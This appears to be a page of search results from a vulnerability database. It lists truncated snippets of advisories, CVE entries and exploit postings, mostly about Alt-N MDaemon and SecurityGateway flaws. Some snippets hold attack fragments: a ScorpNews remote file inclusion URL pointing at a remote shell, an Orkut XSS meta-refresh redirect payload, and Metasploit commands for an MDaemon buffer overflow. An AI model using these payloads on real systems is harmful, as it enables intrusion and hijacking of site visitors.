3281 matches found
Alt-N SecurityGateway username Buffer Overflow
Alt-N SecurityGateway is prone to a buffer overflow condition. This is due to insufficient bounds checking on the "username" parameter. Successful exploitation could result in code execution with SYSTEM level privileges. NOTE: This service doesn't restart, you'll only get one shot. However, it...
scorpnews-rfi.txt
/news/example.php example Exploit ; http://www.example.com/example.php?site=http://shell http://www.example.com/news/example.php?site=http://shell Greetz to; .:National Security Team:. www.crystal-war.6x.to...
ScorpNews 1.0 - site Remote File Inclusion
ScorpNews 1.0 - site Remote File Inclusion /news/example.php example Exploit ; http://www.example.com/example.php?site=http://shell http://www.example.com/news/example.php?site=http://shell Greetz to; .:National Security Team:. www.crystal-war.6x.to milw0rm.com 2008-05-04...
RunCMS Module MyArticles 0.6 Beta-1 - SQL Injection
Cr@zyKing / [email protected] ' ¿? seLçuK abim1z qururumuzsun altın kemer Trabzonun !.. K1 World Champions Selçuk Aydın The Best Of , Number One ; RunCms MyArticles Module 0.6 Beta-1 Remote Sql İnj. Down :...
Preemptive Protection against Alt-N MDaemon IMAP Server FETCH Command Buffer Overflow Vulnerability
A buffer overflow vulnerability has been reported in the Alt-N MDaemon IMAP Server. The MDaemon IMAP server is a server side implementation of the IMAP protocol. Internet Message Access Protocol IMAP is a standard protocol for accessing e-mail from a local server that provides management of...
Important: Red Hat Security Advisory: redhat-idm-console security update
Updated redhat-idm-console packages that fix a security issue are now available for Red Hat Directory Server 8.0. This update has been rated as having important security impact by the Red Hat Security Response Team. The redhat-idm-console contains a Java based remote management console used for...
CVE-2008-1358
Stack-based buffer overflow in the IMAP server in Alt-N Technologies MDaemon 9.6.4 allows remote authenticated users to execute arbitrary code via a FETCH command with a long BODY...
Stack overflow
Stack-based buffer overflow in the IMAP server in Alt-N Technologies MDaemon 9.6.4 allows remote authenticated users to execute arbitrary code via a FETCH command with a long BODY...
CVE-2008-1358
The CVE-2008-1358 entry concerns Alt-N MDaemon IMAP Server (Windows) 9.6.4, which is affected by a stack-based buffer overflow in the IMAP FETCH BODY handling. A remote authenticated user can exploit this by sending an overly long FETCH BODY command, with potential arbitrary code execution within...
raidsonic-disclose.txt
Manufacturer: RaidSonic www.raidsonic.de Device: NAS-4220-B Firmware: 2.6.0-n2007-10-11 Device Type: end user grade NAS box OS: Linux 2.6.15 Architecture: ARM Designed by: Storm Semiconductor Inc www.storlinksemi.com Problem: Hard disk encryption key stored in plain on unencrypted partition. Time...
MDaemon 9.6.4 IMAPD FETCH Buffer Overflow
This module exploits a stack buffer overflow in the Alt-N MDaemon IMAP Server version 9.6.4 by sending an overly long FETCH BODY command. Valid IMAP account credentials are required. Credit to Matteo Memelli Module Options msf use exploit/windows/imap/mdaemon/fetch msf undefinedfetch show actions...
Unfixed XSS vulnerability at n-europe.com
Security researcher Narcoticxs, has submitted on 11/09/2007 a cross-site-scripting XSS vulnerability affecting n-europe.com, which at the time of submission ranked 95409 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 13/09/2007. It is currentl...
CVE-2003-1463
CVE-2003-1463 describes an absolute path traversal flaw in Alt-N Technologies WebAdmin 2.0.0–2.0.2. With administrator privileges, an attacker can (1) determine the installation path by reading the Name parameter in a link, and (2) read arbitrary files via an absolute path in the Name parameter. ...
CVE-2003-1463
Absolute path traversal vulnerability in Alt-N Technologies WebAdmin 2.0.0 through 2.0.2 allows remote attackers with administrator privileges to 1 determine the installation path by reading the contents of the Name parameter in a link, and 2 read arbitrary files via an absolute path in the Name...
[Full-disclosure] 0day Orkut XSS [ NEW! ]
Greetings! Doing hard searches and working hard seeking for xss holes we finally found! The new hole is in the description of the pic, you can put html encode chars like this. & l t ; meta http-equiv="refresh" content="0;url=http://suafakeaqui" & g t ; means minus or open tag. means more or close...
orkutfun-xss.txt
Greetings! Doing hard searches and working hard seeking for xss holes we finally found! The new hole is in the description of the pic, you can put html encode chars like this. & l t ; meta http-equiv="refresh" content="0;url=http://suafakeaqui" & g t ; means more or close tag. So you can build...
Unfixed XSS vulnerability at n.1asphost.com
Security researcher CiCoSz, has submitted on 27/08/2007 a cross-site-scripting XSS vulnerability affecting n.1asphost.com, which at the time of submission ranked 16515 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 28/08/2007. It is currently...
CVE-2007-3622
Unspecified vulnerability in DomainPOP in Alt-N Technologies MDaemon before 9.61 allows remote attackers to cause a denial of service crash via malformed messages...
CVE-2007-3622
Unspecified vulnerability in DomainPOP in Alt-N Technologies MDaemon before 9.61 allows remote attackers to cause a denial of service crash via malformed messages...
CVE-2007-3622
CVE-2007-3622 affects Alt‑N Technologies MDaemon before 9.61, via the DomainPOP Mail Collection component. A malformed message may cause the server to crash, allowing a remote attacker to deny service to legitimate users (DoS). The issue is described as an unspecified vulnerability in DomainPOP; ...